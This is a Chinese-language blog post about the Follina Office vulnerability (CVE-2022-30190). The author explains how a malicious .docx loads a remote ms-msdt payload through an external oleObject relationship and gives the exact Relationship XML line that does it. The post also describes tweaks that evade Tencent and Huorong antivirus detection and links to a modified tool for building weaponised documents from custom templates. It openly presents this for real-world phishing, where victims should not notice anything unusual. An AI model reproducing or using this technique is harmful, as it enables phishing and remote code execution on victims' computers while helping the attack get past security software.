CVE-2022-30190 Follina Office RCE分析【附自定義word釣魚模板POC】

2022-06-18 15:00:30

昨天看了下'Follina' MS-MSDT n-day Microsoft Office RCE 這個漏洞,修改了下chvancooten的指令碼,實現可以自定義word模板,便於實戰中釣魚使用,自己編輯好釣魚word檔案後-f引數指定即可。

也可以從我的github上下載:https://github.com/komomon/CVE-2022-30190-follina-Office-MSDT-Fixed

1.復現

使用https://github.com/chvancooten/follina.py的專案生成惡意word檔案,可以實現命令執行,不過騰訊電腦管家、火絨會查殺


2. 分析poc

主要就是兩處,一處是改word的word/_rels目錄下新新增一個document.xml.rels檔案,裡面是一個windows.location.href載入遠端連線

遠端html中放著ms-msdt:/協定寫的HTML

最後將檔案壓縮打包成docx。

3. Fuzz

第一種
分析後可知只是在word的word/_rels修改了document.xml.rels檔案
應對實戰空檔案不行,隨便新建一個檔案然後新增一些內容,然後解壓後將document.xml.rels放入,再壓縮回去,發現不會觸發。

第二種
生成的clickme.docx 不修改的情況下,可以多次觸發,只要修改就不能觸發了

第三種
修改document.xml.rels 檔名不行,依然查殺

第四種fuzz內容
查殺的是請求外連,http字樣就會查殺

mhtml:http://localhost:80/exploit.html!x-usc:http://localhost:80/exploit.html
換成
http://localhost:80/exploit.html!

就可以了

但是實戰中要用到自己的word模板,要不然受害者一點開就會覺察到不正常,所以為了貼近實戰,修改了指令碼,可以自定義word模板。

4.再分析

4.1.word結構和poc分析


word檔案結構:

.
├── [Content_Types].xml   // 描述的是整個檔案的內容。把各個XML檔案組合成一個整體
├── _rels                 // 定義Package(Zip包)和它所直接包含的Part之間的關係。對於一個 Part 來說,如果它依賴其他 Part,那麼需要為這個 Part 建立一個目錄,並且也有一個 _rels 目錄,目錄下面會有一個 partname.rels 檔案。比如 /word/document.xml 就是很典型的例子
├── docProps              // 記錄docx檔案的主要屬性資訊
│   ├── app.xml          // 描述檔案的檔案型別、版本、唯讀資訊、共用、安全屬性等資訊
│   └── core.xml         // 描述檔案的建立時間、標題、主題和作者等基於Open XML約定檔案格式的通用檔案屬性資訊
└── word
    ├── _rels
    │   └── document.xml.rels
    ├── charts
    │   ├── _rels
    │   │   ├── chart1.xml.rels  \\ 對映表存放檔案文字方塊檔案的位置
    │   ├── chart1.xml
    │   ├── colors1.xml
    │   ├── colors2.xml
    │   ├── style1.xml
    │   ├── style2.xml
    ├── document.xml    // 檔案中所有可見文字的內容和屬性及不可見部分的內容和屬性
    ├── embeddings
    │   ├── Microsoft_Excel_Worksheet.xlsx
    │   ├── Microsoft_Excel_Worksheet1.xlsx
    │   ├── oleObject1.bin  // OLE是Object Linking and Embedding的縮寫,直譯為物件連線與嵌入;滿足使用者在一個檔案中加入不同格式資料的需要(如文字、影象、聲音等),即解決建立複合檔案問題。
    │   ├── oleObject2.bin
    │   ├── oleObject3.bin
    │   ├── oleObject4.bin
    ├── endnotes.xml 
    ├── fontTable.xml    // 檔案所使用的字型資訊
    ├── footer1.xml
    ├── footer2.xml
    ├── footnotes.xml    // 檔案中註腳部分資訊
    ├── header1.xml
    ├── header2.xml
    ├── media               // Word中的多媒體檔案,如插入的圖片、公式對應的wmf檔案等
    │   ├── image1.emf
    │   ├── image2.png
    │   ├── image3.jpeg
    │   ├── image4.wmf
    │   ├── image5.emf
    ├── numbering.xml          // Word中的有序列表、無序列表等的資訊,定義了列表的樣式、序號等資訊
    ├── settings.xml           // 檔案的總體設定資訊
    ├── styles.xml             // Word的樣式資訊,定義樣式的展示優先順序以及段落、表格等樣式
    ├── theme                  // 檔案的主題的所有資訊,如顏色、字型大小
    │   ├── theme1.xml
    │   ├── themeOverride1.xml
    │   └── themeOverride2.xml
    └── webSettings.xml        // 檔案左右間距等的樣式資訊

分析word的目錄結構,瞭解到Word/document.xml 是檔案的內容
[Content_Types].xml儲存的是part名稱和型別
每一個part是一個xml,part如果參照外部檔案就需要在當前目錄下建立一個_rels資料夾,下面存放外部參照的rels檔案,poc中就是用了document.xml的外部參照。

Poc指令碼的模板使用的rid是1337,控制修改在documen.xml中如下修改改成了1111

然後 document.xml.rels 對應修改成了之後就可以使用了

4.2.關於檔案內容

通過了解word的結構後,如果想要檔案內容是自定義的,即自建立模板,可以修改document.xml即可
填上如下部分即可

然後對應的xxx.xml.rels檔案中新增外部參照的一行,注意rid對應即可。

<Relationship Id="rId1111" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/oleObject" Target="http://localhost:80/exploit!" TargetMode="External"/>

如下自創模板,並觸發漏洞

4.3.靜態免殺


上線測試

最後編寫了自定義word模板的指令碼:


​工具下載:https://github.com/komomon/CVE-2022-30190-follina-Office-MSDT-Fixed

技術交流

關注公眾號回覆「加群」,新增Z2OBot 小K自動拉你加入Z2O安全攻防交流群分享更多好東西。

知識星球
團隊建立了知識星球,不定時更新最新漏洞復現,手把手教你,同時不定時更新POC、內外網滲透測試騷操作。感興趣的可以加一下。